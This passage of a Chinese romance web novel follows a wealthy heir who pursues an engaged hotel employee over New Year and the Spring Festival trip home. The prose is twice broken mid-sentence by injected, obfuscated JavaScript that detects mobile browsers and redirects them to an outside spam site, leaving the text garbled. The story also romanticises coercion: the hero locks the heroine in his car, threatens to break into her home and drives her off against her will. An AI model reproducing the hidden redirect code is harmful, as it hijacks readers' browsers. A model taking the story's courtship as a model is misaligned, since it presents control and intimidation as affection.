孟尘萦忽然开口。 司机对她的要求置若罔闻。 她眼角余光瞥见梁嘉序在看着她笑,眼神里挟着波涛汹涌的海浪,是势在必得的笃定。 那股锐利的目光宛若暗夜中的鹰,揪着她的后脖颈,就差一口咬下去。 也不知何时,他把她前方的路挡了去。 手臂撑在后座,他说:“到你家了再下,现在停不了。” “我想要停车。”她低头,再次提出要求。 “为什么呢,孟尘萦,你给我一个理由。” 梁嘉序凉凉勾唇:“别跟我说,你是不想跟我独处在一个空间。” 孟尘萦轻咬唇瓣,低头看自己的鞋子。 寂静中,她回答:“对。” 她抬起头,鼓足了勇气提醒他:“梁先生,我有男友。” “我知道。”他不知何时止住了笑意,“是不是快结婚了?” “对。” “我上次不是说了,结婚了给我送张帖子。” 孟尘萦觉得他荒唐至极,“所以您到底要做什么呢?” “我想要你啊,孟尘萦。” “我啊。”梁嘉序手指慢条斯理敲打车座的靠背,痞味浑然天成:“对你是出奇的有耐心,回国就是想把你弄到手。” 孟尘萦闭了闭眼,后背抵在车门有点疼:“我有一个很好的男朋友,我们的感情也很好,正在谈婚论嫁,梁先生,你是要做小三不成?” “谁说我是小三了?” 梁嘉序眼睫低垂,落下一层阴影:“你的男人谁是小三取决你的态度,他周初皓也可以是那个小三。” “你疯了!”孟尘萦呼吸急促,眼睛凝了层水汽,想了半晌,也不知道该说什么话才能震慑住他。 梁嘉序到底是什么组成的,也没人能看得透,她也真觉得他有病,真想让研发人员剖开他,好好分析一下他骨子里是什么成分。 她更不懂他这什么奇怪的感情观。 笨拙地瞪了他半天,她反驳:“你又不是我的男人。” 梁嘉序伸手弹了下她帽顶的毛球,眼里的暧昧像将她吻了一遍,“我也可以是。” “我的态度是,我只需要周初皓一个。” 孟尘萦将脸一撇,她心里拔凉,但身体这会儿被他圈在逼仄的角落又在不断冒汗。 梁嘉序眉梢微挑,语气寒凉,“你是跟他睡过,很满意他?” 孟尘萦涨红脸:“有病!” “感情是两个人互相喜欢心灵朝彼此靠近,不是你口头上那么龌龊的东西!” 小姑娘气得几乎发懵,那张藏在帽子下的脸颊红彤彤,圆鼓鼓,软绵绵。 她很生气,头顶似乎能冒烟了,实在有趣的得很,还很可爱。 他尝试伸手探到她头顶,也没烟。 “龌龊?做.爱是龌龊?” “孟尘萦,你是没体验点好的么?” 她觉得跟他没说下去的必要了。 既然他已经把目的挑明,她也不愿再跟他有任何牵扯,也把自己态度表露出来,“梁先生,我想我表达的很清楚,就是我刚才的态度,我的男朋友只会是周初皓。” “嗯,你劈腿找我就行了。” “我不会告诉他。” 车子抵达了向阳路26号。 司机停车,但锁上的车门还没打开,孟尘萦逃也逃不了,看着面前男人未减的强势态度,她怕得不行,却还只能硬着头皮逞强。 梁嘉序忽然靠得更近。 他宽大的掌心一把握住她那只紧紧扒着门把的手,她小小的拳头被拢在他手心,他把她困在逼仄的车角,不给她逃避他的机会。 梁嘉序身上的冷冽木质香汹涌袭来,将她分毫不差裹挟。 “我赌你会劈腿,爱上我。” 孟尘萦盯着他乌黑的眸,坚定道:“不会。” 这么危险的人,她逃离都来不及。 梁嘉序淡笑,手一动,车门也哒地一响。 车门开了。 孟尘萦急着逃离,右腿慌张落地。 他这次主动给了她逃生的机会,是因为不担心她会真正逃出他的掌心。 “会有那一天。” 说这句话时,他那双深邃狭长的眸子勾住她。 临下车前,梁嘉序点了支烟,眼尾那抹风流含着满足。 他如同饱餐一顿,盯着面前这张像被他榨干汁的惨白小脸。 “试用期还有一个月,在琢磨不干了?” 孟尘萦没吭声,被他戳中了心思。 他说:“不想干了也行。” “打工多累?你想要,这家酒店我都可以送你,前提是你不能再躲我。” - 钱晓语又在家里折腾吃的。 她厨艺很不错,每次放假的时候都会自己做饭,家里饭菜味飘香,孟尘萦嗅到了红烧猪蹄的香味。 走近一瞧,猪蹄正要出锅。 钱晓语见她蔫不唧的样子,还当是工作累着了,“萦萦你回屋去换衣服过来,咱们一起吃饭。” 听到吃饭二字,虞南星从卧室飞奔出来,抢了双筷子蹦蹦跳跳:“今天又有什么好吃的呀,钱大厨。” “就属你最馋!” “那还不是钱大厨做饭好吃嘛。” 孟尘萦提包进卧室,往床上疲惫一躺。 她翻出手机,在【躺尸】那个标签里找到了梁嘉序。 临下车前他说的那话还在她耳畔盘旋。 工作的事暂且放后了,微信,她大概也不能拉黑他。 她在颂曼德工作,每天在他眼皮子底下,这次拉黑了,下次他总有办法让她加回来。 何苦这样折腾。 晚上吃了一顿好的,孟尘萦也把那些烦恼暂时抛之脑后。 接下来让她意外的是,她有几天没见到梁嘉序了。 之前他整天阴魂不散,这次忽然凭空消失几天。 转念一想,他或许那时候是真无聊,拿她当玩具打发时间,现在有了别的趣事,就把她丢一旁了。 根本无需在意。 十二月三十一,年底的最后一天,是周初皓出差回来的日子。 孟尘萦之前答应过,要亲自去给他接机。 正好跨年那天她放半天假,白天忙完,下午就启程去了机场。 年底机场人很多,孟尘萦在接机口,来来往往的人让她看得几乎眼花缭乱。 等了许久,也没看见周初皓出来。 她主动打电话询问。 第二通他才接听,“萦萦,你这就到了?” “嗯,你在哪儿呢?” “我已经出来了,这会儿正在大厅,现在手里头有点麻烦的事。” “什么事啊?”她往外面走,边询问,她听到周初皓似乎正在那头跟谁说话,语气听着不耐烦,但又有妥协的意味。 周初皓不知说了什么,机场太吵,她听不太清。 她很快走到他指定的位置。 孟尘萦主动挂断电话,打算给周初皓一个惊喜。 周初皓身着米色大衣,身高挺拔,背影俊逸,在人群中也很好认。 他正在弯腰整理行李箱,抬着头跟身旁人说话。 孟尘萦放轻脚步凑近。 还没等她开口,便听到他拖着声调无奈道:“大小姐,我都陪你出来了,你还想怎样呢?” 身旁站了个年轻女孩,她跺了跺脚,神态娇蛮,“你给我买花,今天是跨年呢。” 周初皓温润一笑:“这样好了,我跟方助理打电话,让他亲自给你订花行吗?” “不行,我就要你给我买!”女孩扯他衣袖说:“初皓哥哥,你答应我爸爸要照顾我,我跟你同一班回京,你总不会直接在机场把我丢下吧?” “这……”周初皓撸了一把刘海,为难道:“可我女朋友过来接了。” “我不管!你答应我爸爸了!” 孟尘萦不知道自己该不该上前。 她总觉得,这两人之间的氛围好像很难插入进去,但总僵在这也很怪。 想了想,她还是主动拍了周初皓的肩膀,男人扭回头,看到她后笑容开朗,眼睛明亮:“萦萦,你来了!” “嗯,我刚是不是错过你啦?” “没有。我本来是要在接机口等你的,就是……” 出了点意外。 周初皓拉身旁女孩过来跟孟尘萦介绍:“她叫阮兮,阮总的女儿。” 就是前几天周初皓在视频里提过的那位女孩。 孟尘萦朝她微笑,主动打招呼:“你好,孟尘萦。” 阮兮问:“你就是初皓哥哥的女朋友啊?” “嗯。” “挺漂亮的哈。” “谢谢,你也是。” 简单寒暄了几句,周初皓把孟尘萦拉到一旁谈话,“我领导的女儿跟我同一个航班回来,阮总很不放心,让我多关照点,所以我可能要先送她回家了。” 孟尘萦抬眸看他。 虽然他出差的日子,他们几乎每天都在视频,但也有起码二十来天没有见过彼此的真人了。 这次见面,他开口的第一句话就是要送别的女生回家。 孟尘萦说不出自己什么感受。 她是有点不舒服,但那点不舒服不足以让她想做什么。 想了想,问他:“现在是要先照顾阮小姐吗?” 周初皓叹气,温柔地抱她:“萦萦,实在对不起,让你辛苦来一趟。” 她任由他抱着,没有回抱。 周初皓摸着她的长发,说:“今天跨年这么重要,你和我一起把阮兮送回去,晚上我们俩再独处约个会吧?” 孟尘萦点头,“不过还是你自己送阮小姐回家吧。” “我,就不去了。” ………… 计划改变。 孟尘萦独自从机场回了出租屋。 今天家里极其冷情,跨年如此重要的日子,虞南星和钱晓语都另外有约了,她们也以为她今天去接周初皓,是跟他独处。 她自个儿在家里没事看看书,盘算着周初皓把阮兮送回家了再给她打电话。 约莫等到八点左右,周初皓来了电话。 孟尘萦翻出晚上准备出门穿的衣服,边接电话:“初皓哥哥,你到哪儿了,等等我,我马上就出来啊。” 那边静默几秒,没一会,周初皓歉然道:“萦萦,对不起。” 孟尘萦整理衣服的手僵住,“怎么啦?” 他呼吸沉了些,才说:“阮兮忽然胃疼,我送她来医院了,医生说她要住院一晚上。” “嗯。” 她在等他继续说。 周初皓一气呵成道:“所以我得照顾她,明天才能去找你。” “萦萦,你要是生气了就骂我,但目前我确实不能把一个病人丢下,所以……” “骂你干嘛?”孟尘萦笑了笑:“没关系啦,病人更重要,你在医院好好照顾阮小姐。” “那你跨年怎么办?” 孟尘萦把衣服收起来,轻声说:“以前是怎么过的,今年就继续怎么过。这件事发生的突然嘛,也是没办法。” 对她的体贴,周初皓并没有高兴,反而愈发不安。 孟尘萦向来是个心思藏得很深的女孩,她开心与不开心,很难从她情绪里看出来,她真正遇到不开心的事,他都不知道她是怎么消化的。 即使是跟她相识十几年的关系,他都摸不透,她这颗心究竟有几分装了他。 如果是旁人女朋友,发生这种事,脾气再好也会闹,而她呢。她从不闹。 “萦萦。” “嗯 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第一条就是虞南星发的夜店聚会照,参与的人挺多,她还看到了边萧。 灯红酒绿,沉醉迷离的场面,好不热闹。 虞南星下面是孟尘萦的妈妈发的朋友圈。 配文:【跨年团圆饭。】 图片是家里的饭桌,大概十几个菜,没一个是孟尘萦爱吃的。 她无聊又往下滑,刷到了钱晓语。 钱晓语的生活圈子较文静,在跨年这晚跟几个同事一起逛街,几个姑娘在广场嬉笑合影。 朋友圈刷的孟尘萦昏昏欲睡。 二十三点她去洗了澡,回屋打算睡觉,临睡前,手机响了。 是梁嘉序打来的视频。 她想起几天前他说的那些话,心里一慌,干脆当没听见。 熄灯,睡觉。 但电话还不断打来,调了静音没用,屏幕不停亮。 他这人行事总是霸道的,根本没有考虑过别人要不要接他电话,方不方便接他电话,反正他不达目的不罢休。 孟尘萦被烦得不行,从床上爬起来按了接听。 画面内露出一张她几天没见的面容。 那边白天光线很好,将他眉眼勾勒清明,是比夜里看到更让人震撼的脸。 孟尘萦裹着被子坐起来,盯着镜头里的人,沉默不语。 男人低沉笑,指尖夹着烟。 大抵是在什么聚会,面前还有不少酒瓶子。 “孟尘萦,跨年你一个人?” 孟尘萦嗯了声。 他问:“你男友呢?” 孟尘萦不想回答,问他有什么事? 他说:“打来是跟你说一下,我人在国外。” 所以这就是他这几天没来找她的原因吗?孟尘萦没什么情绪地嗯了声。 梁嘉序前倾把烟捻灭,靠近镜头那刻,孟尘萦慌了一瞬,还以为他要从屏幕里钻了出来。 他掀眸问:“还有五分钟,你那就要跨年了吧?” 她看了眼时间,现在二十三点五十五,“梁先生在国外也这么记挂国内的时间吗?” 梁嘉序直勾勾看她:“我是在记挂你。” 他很直白说出来,孟尘萦猝不及防,反应过来后瞥开他的眼神,“梁先生,我有男朋友了。” “孟小姐。”他肩微挪,找个自己舒服的靠姿,动作散漫,痞气又不失矜贵。 他笑着问:“你是不是要在脸上贴个已有男友的标签才行?” “还是你觉得我只有七秒记忆,要时刻提醒?” 孟尘萦垂眸,恨不得自己逃出画面,也好过承受被他这样隔空锁定的压迫感。 她洗了澡,穿着鹅黄色睡衣,扣子似乎系歪,露出大片锁骨。这副样子比这段时间看到她包裹的像熊似的冬装更邻家。 他看了两眼,她后知后觉将被子把自己裹严实,到底是迟了。 知道他刚一直看哪,她脸一下红得不行。 愠怒也是软的。 南方女孩,水似的柔软。 梁嘉序没收回视线,淡声:“再等两分钟。” “等什么?”她裹到就露出一颗脑袋。 他答非所问,“说说你今儿怎么一个人?” “我不想说。”她垂着眼,什么也没说,但瞧着可委屈了。 梁嘉序让她起床。 她没打算听他的,还要挂断电话。 “孟尘萦,你是觉得我在国外拿你没办法?” 女孩耳朵瞬间红了。 心中腹诽怎么又被他戳中心思。 她的确仗着他在国外,就算不搭理他,他也不能马上冲来找她。 “起来,打开窗。” 孟尘萦没吭声。 “你要拒绝也可以,我自然有办法撬开你家的门。” 孟尘萦实在受不了他这种恶霸行为,又气又不情愿的起身站到窗外,“梁先生是想惩罚我,让我站在这吹冷风么?” “五、” “四、” “三、” “二、” “一、” 跨年的最后一秒钟,向阳路26号的天空燃起了烟花。 孟尘萦租的房子地段其实很偏僻,她还以为这地方根本看不到烟花,周围的居民跨年都去热闹场所了。 绚烂的烟花在空中绽放,五彩斑斓的色彩在墨色夜空点缀出最华丽的画卷。 她抬脸,望向浪漫的夜空。 绽放后的烟花像流星坠落。 好美,真的好美。 她都不知道自己多少年没见过这么美丽的烟花了。 她沉浸在这片美景当中。 也根本没察觉到手机画面里男人黑到浓成墨汁的眼神,隔空在她身体落下印记。 “新年快乐,孟尘萦。”梁嘉序又问她:“烟花美么?” 孟尘萦被扯回思绪,老实点头:“嗯,很美。” 她不得不承认,因为这场烟花,让她的心灵在这一刻受到了满足。 就在她还沉浸赏烟花时,梁嘉序低笑了声:“你和周初皓的感情就像这烟花似的,看似美丽却短暂,虚有其表,不堪一击。” 7. 第 7 章 窗外烟花还在绽放,砰砰声响彻天际。 孟尘萦的瞳仁倒映五彩斑斓的色彩,脸颊微红,是被气的。 “梁先生准备这场烟花,只是为了说这种话么?” 梁嘉序盯着画面里憋气的女孩,唇角若有所思勾起弧度:“不是。” “我是想看你的笑容。” 孟尘萦眼睫扇动。 烟花声很响,他不疾不徐的声音却半点没有被压下去,格外有存在感:“顺便还想提醒你,出国几天不代表我不要你了。” 孟尘萦轻声说:“梁先生,比我好的女孩多得是。” 以他的条件和地位,他无需去挣,都不知道会有多少女孩会喜欢他。 她实在弄不明白,他到底为了什么。 还是说,他只是单纯喜欢抢别人的东西? 梁嘉序缓声道:“何必妄自菲薄,你是最好的女孩。” “可我有男友了。” 他不悦蹙眉,眼底掀起冷冽:“还要提醒多少次?孟尘萦,还是你觉得,你这话能震慑到我?” 她试图拿正常人遵守的道德底线去压制他,却全然没想到,眼前这男人,根本不遵守寻常人的规则。 他气势强盛,就连在视频里轻飘飘几句话传过来都像在压迫人。 隔着一面屏幕,隔着千里之遥,甚至隔着时差,孟尘萦竟担心惹急他后,他会直接从屏幕那头钻进来找她。 她被这念头唬到,手指一缩,避开他眼神:“很晚了我要休息了。” 她没等梁嘉序回话,直接大胆挂断。 大概也是仗着他在国外,手伸不长。 - 岁序更新,翻年份的第一天是好天气,早上孟尘萦收到了周初皓的道歉信息,他是昨晚半夜发的,那会她都睡了。 她回复说自己没生气。 周初皓秒回:【今天能见面吗?新年的第一天,我想跟你一起过。】 孟尘萦回复:【晚上下班很晚了。】 周初皓:【萦萦,我会等你,多久都等。】 孟尘萦走出卧室洗漱,忽然看到沙发躺了个喝到烂醉如泥的虞南星,这架势把她瞌睡都吓跑了。 “南星,你怎么不回屋睡?” 虞南星妆容斑驳,嘟囔道:“夜生活真痛快啊!” “但要拿第二天痛苦来换,呜呜。”她揉着脑袋坐起来,“喝死我了快,萦萦,你都不造,边萧那群朋友多能喝,我差点就顶不住了。” 孟尘萦佩服她还有精神,笑说:“行了,我给你煮点醒酒汤,你去洗洗,喝了醒酒汤再睡。” “不行啊,我一会还有直播呢。” “这么早就直播?” “可不是嘛,昨晚跨年我鸽了粉丝答应好今天给他们直播补偿。” 在孟尘萦去准备醒酒汤的功夫,虞南星已经回屋补好妆,直播灯光一打,半点都看不出她昨晚宿醉的事。 “嗨喽宝贝们,原谅小星星来太迟了哦。” 弹幕不断弹消息。 【都等你一晚上了!】 【姐姐昨晚干什么去了呀?跨年没看姐姐直播都好不习惯。】 【姐姐好美啊,大早上也这么精神呢!】 虞南星对着镜头卖萌,捧着脸颊嗲嗲撒娇:“什么嘛,我哪里精神了,瞧我小脸蛋儿这不都长痘痘了。” 她正在直播跟观众互动,房门忽然被轻轻敲响。虞南星说:“是我闺蜜进来给我送爱心早餐啦。” 弹幕疯狂弹消息。 【真好啊!还是上次入镜的小姐姐吗?】 【楼上你们也记得啊?是三个月前意外在小星星直播间里露脸的那个小仙女?】 孟尘萦把醒酒汤和蒸好的几个奶黄包放虞南星书桌上,小声提醒她记得吃完。 虞南星转过身给她飞了个吻。 孟尘萦不喜欢出镜,看到弹幕疯狂弹消息,连忙遁走。 – 伦敦。 辛特拉庄园环境清幽,绿水环绕,鸟语花香,地儿大还安静,适合养老。 江静娴还没真老,倒是爱上这儿。 梁嘉序偶尔也会来这歇歇,给他妈一点面子。 江赫生端着水果上楼,弯腰,将果碟放在桌上,悠悠然道:“好大架子啊,还要你舅舅我给你做端茶小弟了?” 梁嘉序懒散地靠沙发那,嘴里还咬着没点燃的烟玩,视线倒始终盯着屏幕没动。 江赫生探过来看他ipad,“看什么呢,直播?你还看这个?” “这主播不是边煜弟弟很熟的网红么?阿序,瞧上了?” “谁?不认识。” “就你直播看的那女的。” 梁嘉序视线从推门走出去的孟尘萦身上收回,嗤笑:“哦,随手点进来的。” 他把ipad按熄,兴致缺缺,咬着的烟也嫌弃丢一旁。 “跨年出国,你爸也不说你?” 梁嘉序垂眼翻手机:“说我有用么?” 江赫生说:“没用,但你也不能不把你老父亲放眼里,就仗着他找不着下一个接班人呢。” 梁嘉序懒洋洋地提唇:“早说让我妈再跟他生一个,不愿,非得揪着我这羊毛薅。” “你还羊呢?”江赫生瞧他那痞气劲儿,实话实说:“你就是头狼,谁被你盯上就惨了,要被你吃的骨头都不剩。” 骨头么? 梁嘉序忽然好奇,小姑娘骨头是什么味的。 她长得白白软软,那把子骨头却不似表面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872833|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么柔软。 该是硬的。 “江赫生!” 楼下有人喊。 江赫生听出是谁声音,肩膀推了下身旁男人,“你妈来了。” 梁嘉序没搭腔:“喊你,不是喊我。” 江赫生过去问:“姐,找我有事?” “让你外甥下来,给他介绍个人认认。” 梁嘉序混不吝起身,侧身倚栏杆边,不耐道:“是第五个后爸,还是第六个?太多我给忘了,妈,改明儿在你男人脖上挂个狗牌子,你儿子记性不行,还脸盲。” 江静娴凤眸轻扫,不满道:“什么第五个第六个,太瞧不起你妈我了,这是第八个。” 梁嘉序吝啬地投去眼神,打眼一看,年纪比他还小几岁。 “这黄毛不行。” “怎么不行?对你妈的品味还挑三拣四。” 他转身,身影匿进屋:“妈,您品味是真不怎样。” - 时间转眼过去,临近春节,今年过年孟尘萦要和周初皓一起回涟云。 早在一周前,周初皓就定好了高铁票,但在休假的前三天,他家里父母打电话催他提前回家。 说是家里爷爷身体不好,怕不行了,让他赶快回家,省得最后一面都见不到。 周初皓提前回了涟云,丢下了孟尘萦。 孟尘萦启程回涟云前一晚在家收拾行李,她只带了几件衣服,没打算在老家久待。 一过年,虞南星和钱晓语心都飘回老家了,腊月二十七那天,出租屋就她一个人。 她定的是腊月二十八的高铁票。 收拾好行李,睡一觉,打算明天早点起。 就在这时有人敲门,她还以为是虞南星回来了,她家就在京市,许是有什么东西忘了带。 孟尘萦起身去开门,顷刻间,外头冷冽的寒气也带了进来。 男人站门口,雪山似的挺拔高挑,脸被寒风吹得宛如冷玉,偏生眼尾那浑然天成的几分风流多情像衔着隐形钩子似的,只堪堪对上视线,便轻易被蛊惑的迷失方向。 “孟小姐,看到我这么意外?” 这个男人出国有二十来天了吧? 孟尘萦险些都要忘了他。 自从跨年那天那通电话后,他就没再找过她麻烦,她的生活也回归了正轨。 “梁先生,这么晚你怎么过来了?” “给你送跨年礼物。” 梁嘉序将礼袋递给她,“回国晚了,希望你别介意。” “听说孟小姐明天坐高铁回老家?” 他笑:“顺路带我一脚呗。” 孟尘萦指尖紧攥衣袖,疑惑看他:“梁先生,你要跟我回家过年?” “嗯?不行么?” 8. 第 8 章 孟尘萦很认真问他:“梁先生觉得合适吗?” “为什么不合适?” 梁嘉序这人的字典里,好像根本没有合适和不合适,只有他想要做的事。 他也没觉得,跟一个有男朋友的女孩回家过年有什么奇怪的。 孟尘萦接受不了他猎奇的三观,“礼物您拿回去吧,我和梁先生没有半点关系,不能收您的礼。” “还有,我有男朋友,过年我要和男朋友家人一起,我们要在新年的年夜饭上跟家人公布我们即将结婚的事。” 她手按在门把上,随时做好关门,把梁嘉序档在门外的准备。 梁嘉序低声笑笑,那笑声像掺了浓烈的酒水,淳淳的,诱人上头。 “没让你带我上桌,你把我带回你老家玩两天就好。” “嗯,就当朋友一样,不行么?” 孟尘萦表情有几分古怪,“朋友?我跟梁先生不是一个世界的人,认真算起来,我还是您的员工,还有老板和员工做朋友的么?” “那我不说朋友,直接说我想做你男人,你不是又要炸毛了?” 瞧瞧,果然刚才还一脸困惑的小姑娘,这会儿又被他一句话给憋屈到脸都红了。 论无耻,孟尘萦怕是再修炼一千年也达不到他这样的浑然天成,无奈只能搪塞他:“恐怕不行了,过年车票都满了,梁先生现在想补票也来不及。” 他单刀直入,表明自己的意图:“孟尘萦,明天跟你同车厢的车票,只要我愿意,我可以让你整列车厢只剩我们俩。” 他姿态闲散地站在她家门前,用那种混不吝的语气说着这种狂妄话。 孟尘萦不知怎么,忽然想到那天虞南星好奇的问题,梁嘉序有求而不得的东西吗? 她想,她能确定,这人没有。 因为他想要什么,手一伸就够了。 他眼里的乌沉沉压迫感足以证明他没说笑,也的确让她有几分胆怯。 她顶着压力回:“你知道过年有多少人等着回家吗?那些人是不可能把车票给你。” 梁嘉序漫不经心道:“你太小看金钱的力量了,比起回家过一个普普通通的新年,更多人更想要钱。” “怎样,带我回家么?” “涟云是个小镇,不好玩。” “我不在意。” “我不能带你进我家,我有男友。” “嗯,我做外面那个就行。” “……” “所以,带我回去么?” 梁嘉序手搭在门上,身躯压近,隔着若即若离的距离说:“你别多想,我只是过年没地儿去,随便找个地方旅游几天。” 原来是这样。 孟尘萦暗自了一口气:“明天九点半的车。” 梁嘉序睨着她:“打电话叫醒我?” 他那眼神暧昧扑过来,孟尘萦担心他要进屋,往后一退,急着要关门。 他手堵在门扉那,把礼袋往里伸:“礼物。” “我不能收。” 这是她的底线。 梁嘉序不容置喙道:“只是一块蛋糕,没什么贵重的。” “接,还是不接?” “我……” 片刻后,奋力挡住的半边门后,传来孟尘萦的小声反抗:“我刷牙了。” 他被逗得笑出声:“那明早吃。” - 孟尘萦订的是早上八点半的高铁,她对梁嘉序撒谎了。 隔天,孟尘萦很早就醒了来,也压根没打算给梁嘉序打电话。 她七点半就收拾好准备出门。 谁知刚把房门锁好,才发现家门口早就停了一辆黑色轿车,司机见她出来,下车主动帮孟尘萦提行李。 她莫名被请上了车。 梁嘉序此刻靠坐在后座,脸上戴了个眼罩,只露出了湿润的唇瓣,显然正在睡觉。 孟尘萦止住了问话的心思。 车子安静地行驶在道路中,直到路线不对劲,孟尘萦才发现根本不是往高铁站开往。 她上前,扒着前座的靠垫小声问司机是不是走错路了。 司机一本正经答话:“孟小姐,这就是梁先生安排的路线。” 她为难道:“可我要去高铁站啊。” 司机跟个人机似的,就回答了一个问题开始装死。 孟尘萦眼睁睁看时间过了八点半。 正巧梁嘉序也睡醒了,他刚醒来那瞬间,眼神还有几分迷糊。 他今天穿得没平时那般精致,像是要去哪旅游似的,随性简单,外搭就一件挡风的黑色冲锋衣。 梁嘉序问她吃早饭没? 孟尘萦低声说:“吃了。” “嗯。”他说:“我不太喜欢坐人挤人的高铁。” 高铁哪里挤了?但孟尘萦更好奇别的事,问他:“所以您就也顺带把我带走了?” “都是回家,坐车跟高铁没什么区别。”他坐起来,背脊往后靠,孟尘萦也被迫动了一下,身后塌陷的感觉让她难以忽略。 那熟悉的占有感又扑面袭来,以及他身上独有的冷冽木质香,将她分毫不差的缠绕。 “怎么没区别了……” 算了。 她都被迫上了贼船。 车内又陷入了安静。梁嘉序话不太多,许是刚睡醒,也没什么精力。 他靠在后座,望着沿路景色。 孟尘萦就坐在另一端,也在装睡。 如此安静的氛围,直到一通电话打乱。 孟尘萦睡眼惺忪按了接听,“初皓哥哥。” 身旁男人慵懒地掀了眼皮,泛着凉意的目光落在她粉嫩的脸颊上,打电话的女孩尚未注意到他的眼神,只顾着回复电话内容。 “嗯,我已经在车上了。” “对了,爷爷他身体怎样了?” 周初皓轻松笑道:“没什么大病,我妈他们吓到以为不行了。” 孟尘萦也为他开心,“爷爷没事就好。” 周初皓倚在窗边说:“萦萦,你知道爷爷身体很好我有多开心吗?不仅为自己爷爷开心,还为了我们。” “为我们,为什么呀?” 小姑娘一只手握着手机贴在耳边,脸歪着接听,笑容娇甜。 这幅神态她只在自己的男朋友面前表现过。 梁嘉序继续沉默。 脸上不显,眼底却像暴风雨来袭般的冷寂。 周初皓走到阳台接电话。 他房间的阳台可以看到蓝家,小时候孟尘萦总是会从那个窗口探出脑袋喊他初皓哥哥,她小时候很爱追在他后面玩。 “我在开心,家里没事,等吃年夜饭当天就可以跟爸妈提出要跟你结婚的事了。” 孟尘萦一下愣神。 周初皓看着孟尘萦房间的方向,仿佛在看她:“萦萦,你想嫁给我么?” 孟尘萦回了个嗯。 周初皓很不满意,难得撒娇说:“萦萦,你说一句,你在电话里说一句,你很想嫁给初皓哥哥好不好?” 孟尘萦被他闹得脸红。 她谈恋爱的时候不太会说情话,这段感情里,向来是周初皓更主动,她说过最肉麻的话就是我想你。 这会儿他忽然要她说这句,她真有点害羞。 更何况,还是在梁嘉序的车上。 她轻咬唇瓣,半张脸看着车窗,羞赧地小声说:“初皓哥哥,等我回家再说好不好呀?” “为什么?我现在就想听。” “可是,车上有外人……” 梁嘉序低声嗤笑,余音仿佛能噬骨。 周初皓笑问:“萦萦是害羞了?” 孟尘萦盯着车窗,温柔地笑,忽然发现车窗内倒映出梁嘉序那双漆黑的眸,他眼里像染了层薄薄的冷冽寒雾。 过于汹涌的侵略感,吓得她心脏猛地停了一拍。 她蓦然哽住,忘了答话。 知道她害羞,周初皓也没继续闹了,“好,那我等你回来。” 电话挂断,周初皓又发来一条消息。 图片是他家准备的年货:【我让我妈过年做点你喜欢吃的菜。】 孟尘萦正在低头回复。 就这会儿,身旁幽幽响起一道声音:“你们的感情还这么好呢?” 孟尘萦打字的手僵住,“梁先生这是什么意思?” “跨年夜把女朋友丢在出租屋,我还以为孟小姐会心生埋怨,跟男友生出嫌隙。” 孟尘萦说:“我跟他认识十几年了,他什么为人我再了解不过,因为意外事件才不得不把我丢下,我为什么要闹?” 忽然一个急刹车。 也就在这一瞬间,梁嘉序扣住她手腕把她拽进怀里,右手掌心箍住她的腰。 前面司机在道歉,“梁先生,有只小狗突然蹿了出来。” 后座男人压着女孩的腰,黑压压的视线逼到她呼吸急促:“这都不闹,我倒是想知道,孟小姐将来会因为什么事跟男友提出分手。” 孟尘萦奋力挣扎,奈何腰被他完全掌控,隔着冬衣都有一种她无法抗拒,抗拒不了的压迫感。 “梁先生。” 她眼睛凝了雾,认真道:“我不会跟我男友提分手的,而且我们马上就要结婚了。” 梁嘉序脸俯近,黑色冲锋衣的领口刮着她白皙的下颌,一下一下磨她肌肤,若即若离的呼吸交缠,她浑身的寒意和心跳都在不断上升。 她垂下轻颤的眼睫,屏住呼吸。 “孟小姐是在提醒我不要越界?” 孟尘萦别开脸,耳朵从他唇角那划过去,带走他清冽的呼吸,他的气息黏上了她肌肤,好像长在了她的肉里。 同时感到耳骨那块都麻了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872834|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可是怎么办?” 他轻轻掐着她下颌,“这界,我是必要越的。” - 因坐车回来,到涟云耗费了不少时间。 午饭是半途中,梁嘉序拉她下车去饭店吃的,这人赶路的时候都能那么散漫,一路停停走走。 直到夜幕降临时分,才抵达涟云。 梁嘉序把她先送回家后,便走了。 走时他什么也没说,孟尘萦反而还高兴。 就怕这位主儿还真跟上她家去了。 七点多,这会儿家里应该正在吃晚饭。 孟尘萦拖着行李箱站门口,按门铃,等了片刻还没人来开门,以为家里没人,但她隔着防盗门却又听到里面传来了欢声笑语。 她垂眸,望着门口地毯上的出入平安四个字。 等了好一会,房门才打开。 开门的是她同母异父的妹妹,蓝芷。 蓝芷目前正在上高一,青春洋溢,放假在家戴着狐狸耳朵的发箍,她嘴里正在嚼太妃糖,蓦然见到孟尘萦,蓝芷惊喜到叫出来,“姐,你回来啦?” “嗯。”孟尘萦笑问:“怎么现在吃糖?不是要吃饭了吗?” 她拖着行李箱进来。 蓝芷连忙把她把行李箱一抢,“哎呀,姐,我帮你提吧。” “不过我们饭都吃完啦,姐,你不是早上八点的高铁票,应该中午就到了吗?” 进屋还没换鞋,孟尘萦一下就看到了餐厅的饭桌,桌上的确什么饭菜都没有,就摆着花瓶。 她垂眸说:“出了点事,就临时改了时间,回来晚了。” 在厨房的许乐芳听到动静拿着洗碗布出来,笑道:“萦萦回家啦?初皓晚上还过来一趟,跟妈妈说你改了时间要回来晚点,但也没说这个点回啊,早知道给你留饭了。” “对了,你吃了没?” 孟尘萦说吃了。 六点那会,梁嘉序把她拉去饭店随便吃了点,他以为她回家会有晚饭,只让她填了下肚子。 